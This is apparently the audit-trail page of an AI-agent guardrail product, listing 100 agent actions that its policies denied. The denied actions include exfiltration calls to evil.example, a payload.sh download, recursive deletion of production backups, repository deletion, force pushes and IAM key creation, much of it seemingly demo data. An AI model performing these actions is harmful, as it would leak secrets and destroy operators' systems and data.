Audit Trail
100 decisions across all agents
Events
100
Allowed
0
Blocked
100
Required policy intervention
Active Agents
46
Reporting in this window
Recent Decisions
Newest first| Decision | Vendor | Operation | Agent | Rule | When |
|---|---|---|---|---|---|
| DENY | http | POST /services/T02QU5QGT8B/B0B0TSBK2Q5/vfnh3NMwbettnuNDPjTRgprO | cordon-toxic-chain-demo demo | block-secret-exfiltration | 2d ago |
| DENY | github | DELETE /repos/acme/widget | cordon-toxic-chain-demo demo | block-github-repo-delete | 2d ago |
| DENY | http | POST /services/T_FAKE/B_FAKE/FAKE_PLACEHOLDER | cordon-toxic-chain-demo demo | block-secret-exfiltration | 5d ago |
| DENY | github | DELETE /repos/acme/widget | cordon-toxic-chain-demo demo | block-github-repo-delete | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | jira-bot prod | block-network-cli-shellout | 5d ago |
| DENY | subprocess | aws s3 rm s3://prod-backups --recursive | airflow-ml-70 prod | block-network-cli-shellout | 5d ago |
| DENY | aws:ec2 | TerminateInstances | segment-pipeline-78 prod | block-aws-terminate | 5d ago |
| DENY | subprocess | aws s3 rm s3://prod-backups --recursive | billing-sync-54 prod | block-network-cli-shellout | 5d ago |
| DENY | github | PATCH /repos/acme/web/git/refs/heads/main | panther-detector prod | block-github-ref-rewrite | 5d ago |
| DENY | aws:dynamodb | DeleteTable | dbt-corp-it dev | block-aws-deletes | 5d ago |
| DENY | aws:iam | CreateAccessKey | codex-yara dev | block-aws-iam-writes | 5d ago |
| DENY | http | POST /webhook | paper-summarizer-quinn prod | block-unknown-egress | 5d ago |
| DENY | aws:iam | CreateAccessKey | spinnaker-9 prod | block-aws-iam-writes | 5d ago |
| DENY | subprocess | wget https://untrusted.example/payload.sh | aider-umi prod | block-network-cli-shellout | 5d ago |
| DENY | github | PATCH /repos/acme/docs/git/refs/heads/main | aider-kira dev | block-github-ref-rewrite | 5d ago |
| DENY | aws:s3 | DeleteBucket | spark-job-91 prod | block-aws-deletes | 5d ago |
| DENY | github | PATCH /repos/acme/api/git/refs/heads/main | spark-job-91 prod | block-github-ref-rewrite | 5d ago |
| DENY | http | POST /webhook | dbt-support dev | block-unknown-egress | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | kafka-consumer-infra prod | block-network-cli-shellout | 5d ago |
| DENY | aws:ec2 | TerminateInstances | zendesk-bot-ml prod | block-aws-terminate | 5d ago |
| DENY | aws:iam | CreateAccessKey | paper-summarizer-quinn prod | block-aws-iam-writes | 5d ago |
| DENY | aws:iam | CreateAccessKey | zendesk-bot-ml prod | block-aws-iam-writes | 5d ago |
| DENY | github | DELETE /repos/acme/docs | billing-sync-8 prod | block-github-repo-delete | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | spinnaker-9 prod | block-network-cli-shellout | 5d ago |
| DENY | aws:iam | CreateAccessKey | airflow-corp-it-46 prod | block-aws-iam-writes | 5d ago |
| DENY | aws:iam | CreateAccessKey | tier1-triage-bot prod | block-aws-iam-writes | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | aider-umi prod | block-network-cli-shellout | 5d ago |
| DENY | aws:iam | CreateAccessKey | claude-code-quinn dev | block-aws-iam-writes | 5d ago |
| DENY | subprocess | docker pull alpine:latest | claude-code-val staging | block-docker-network-shellout | 5d ago |
| DENY | aws:s3 | DeleteObject | zendesk-bot-appsec staging | block-aws-deletes | 5d ago |
| DENY | github | DELETE /repos/acme/infra | intercom-resolver dev | block-github-repo-delete | 5d ago |
| DENY | aws:iam | PutRolePolicy | claude-code-val staging | block-aws-iam-writes | 5d ago |
| DENY | subprocess | git push --force origin main | codex-yara dev | block-git-network-shellout | 5d ago |
| DENY | aws:iam | AttachUserPolicy | linear-sync prod | block-aws-iam-writes | 5d ago |
| DENY | aws:iam | AttachUserPolicy | airflow-corp-it-36 prod | block-aws-iam-writes | 5d ago |
| DENY | aws:iam | CreateAccessKey | spark-job-28 prod | block-aws-iam-writes | 5d ago |
| DENY | http | POST /webhook | zendesk-bot-payments dev | block-unknown-egress | 5d ago |
| DENY | http | POST /v1/messages | aider-umi prod | block-secret-exfiltration | 5d ago |
| DENY | aws:ec2 | TerminateInstances | kafka-consumer-infra prod | block-aws-terminate | 5d ago |
| DENY | aws:s3 | DeleteBucket | zendesk-bot-growth dev | block-aws-deletes | 5d ago |
| DENY | subprocess | gh repo delete acme/widget | airflow-ml-70 prod | block-network-cli-shellout | 5d ago |
| DENY | aws:ec2 | TerminateInstances | spark-job-28 prod | block-aws-terminate | 5d ago |
| DENY | aws:s3 | DeleteBucket | billing-sync-54 prod | block-aws-deletes | 5d ago |
| DENY | aws:ec2 | TerminateInstances | copilot-workspace-67 staging | block-aws-terminate | 5d ago |
| DENY | aws:lambda | DeleteFunction | cursor-theo dev | block-aws-deletes | 5d ago |
| DENY | aws:dynamodb | DeleteTable | zendesk-bot-growth dev | block-aws-deletes | 5d ago |
| DENY | aws:iam | AttachUserPolicy | copilot-workspace-1 prod | block-aws-iam-writes | 5d ago |
| DENY | http | POST /exfil | aider-umi prod | block-unknown-egress | 5d ago |
| DENY | subprocess | aws s3 rm s3://prod-backups --recursive | aider-priya prod | block-network-cli-shellout | 5d ago |
| DENY | http | POST /v1/messages | billing-sync-8 prod | block-secret-exfiltration | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | zendesk-bot-appsec staging | block-network-cli-shellout | 5d ago |
| DENY | aws:ec2 | TerminateInstances | flux-appsec prod | block-aws-terminate | 5d ago |
| DENY | subprocess | kubectl delete deployment api -n prod | linear-sync prod | block-network-cli-shellout | 5d ago |
| DENY | github | PATCH /repos/acme/docs/git/refs/heads/main | zendesk-bot-growth dev | block-github-ref-rewrite | 5d ago |
| DENY | subprocess | gh repo delete acme/widget | billing-sync-8 prod | block-network-cli-shellout | 5d ago |
| DENY | subprocess | kubectl delete deployment api -n prod | cursor-theo dev | block-network-cli-shellout | 5d ago |
| DENY | subprocess | kubectl delete deployment api -n prod | zendesk-bot-growth dev | block-network-cli-shellout | 5d ago |
| DENY | aws:lambda | DeleteFunction | billing-sync-8 prod | block-aws-deletes | 5d ago |
| DENY | aws:lambda | DeleteFunction | slack-helpdesk prod | block-aws-deletes | 5d ago |
| DENY | aws:dynamodb | DeleteTable | airflow-ml-70 prod | block-aws-deletes | 5d ago |
| DENY | subprocess | docker pull alpine:latest | codex-hana prod | block-docker-network-shellout | 5d ago |
| DENY | aws:s3 | DeleteObject | airflow-corp-it-36 prod | block-aws-deletes | 5d ago |
| DENY | subprocess | gh repo delete acme/widget | cursor-nova prod | block-network-cli-shellout | 5d ago |
| DENY | subprocess | git push --force origin main | jira-bot prod | block-git-network-shellout | 5d ago |
| DENY | http | POST /v1/messages | claude-code-val staging | block-secret-exfiltration | 5d ago |
| DENY | subprocess | kubectl delete deployment api -n prod | kafka-consumer-sre prod | block-network-cli-shellout | 5d ago |
| DENY | aws:s3 | DeleteBucket | spark-job-28 prod | block-aws-deletes | 5d ago |
| DENY | subprocess | wget https://untrusted.example/payload.sh | airflow-corp-it-36 prod | block-network-cli-shellout | 5d ago |
| DENY | subprocess | git push --force origin main | spark-job-91 prod | block-git-network-shellout | 5d ago |
| DENY | github | DELETE /repos/acme/web | aider-priya prod | block-github-repo-delete | 5d ago |
| DENY | subprocess | aws s3 rm s3://prod-backups --recursive | release-notes-bot dev | block-network-cli-shellout | 5d ago |
| DENY | aws:s3 | DeleteObject | billing-sync-54 prod | block-aws-deletes | 5d ago |
| DENY | subprocess | docker pull alpine:latest | windsurf-umi prod | block-docker-network-shellout | 5d ago |
| DENY | github | PATCH /repos/acme/docs/git/refs/heads/main | jira-bot prod | block-github-ref-rewrite | 5d ago |
| DENY | subprocess | kubectl delete deployment api -n prod | spinnaker-9 prod | block-network-cli-shellout | 5d ago |
| DENY | aws:s3 | DeleteBucket | paper-summarizer-mira prod | block-aws-deletes | 5d ago |
| DENY | aws:s3 | DeleteBucket | release-notes-bot dev | block-aws-deletes | 5d ago |
| DENY | aws:s3 | DeleteObject | spark-job-28 prod | block-aws-deletes | 5d ago |
| DENY | aws:iam | AttachUserPolicy | codex-gina staging | block-aws-iam-writes | 5d ago |
| DENY | aws:ec2 | TerminateInstances | kafka-consumer-sre prod | block-aws-terminate | 5d ago |
| DENY | http | POST /v1/messages | panther-detector prod | block-secret-exfiltration | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | intercom-resolver dev | block-network-cli-shellout | 5d ago |
| DENY | aws:s3 | DeleteBucket | billing-sync-8 prod | block-aws-deletes | 5d ago |
| DENY | http | POST /webhook | windsurf-umi prod | block-unknown-egress | 5d ago |
| DENY | subprocess | git push --force origin main | zendesk-bot-appsec staging | block-git-network-shellout | 5d ago |
| DENY | subprocess | docker pull alpine:latest | aider-priya prod | block-docker-network-shellout | 5d ago |
| DENY | aws:s3 | DeleteBucket | claude-code-val staging | block-aws-deletes | 5d ago |
| DENY | github | PATCH /repos/acme/infra/git/refs/heads/main | billing-sync-8 prod | block-github-ref-rewrite | 5d ago |
| DENY | aws:dynamodb | DeleteTable | airflow-ml-70 prod | block-aws-deletes | 5d ago |
| DENY | subprocess | curl https://evil.example/exfil | panther-detector prod | block-network-cli-shellout | 5d ago |
| DENY | github | DELETE /repos/acme/api | invoice-gen-data dev | block-github-repo-delete | 5d ago |
| DENY | http | POST /v1/messages | claude-incident-responder prod | block-secret-exfiltration | 5d ago |
| DENY | subprocess | curl https://ops-exfil.example/log | claude-incident-responder prod | block-network-cli-shellout | 5d ago |
| DENY | aws:iam | AttachUserPolicy | terraform-deployer prod | block-aws-iam-writes | 5d ago |
| DENY | aws:iam | AttachUserPolicy | terraform-deployer prod | block-aws-iam-writes | 5d ago |
| DENY | aws:iam | CreateRole | payment-processor prod | block-aws-iam-writes | 5d ago |
| DENY | aws:iam | CreateRole | payment-processor prod | block-aws-iam-writes | 5d ago |
| DENY | subprocess | git push origin feature/billing | copilot-workspace staging | block-git-network-shellout | 5d ago |
| DENY | aws:iam | AttachUserPolicy | terraform-deployer prod | block-aws-iam-writes | 5d ago |
| DENY | aws:iam | CreateRole | payment-processor prod | block-aws-iam-writes | 5d ago |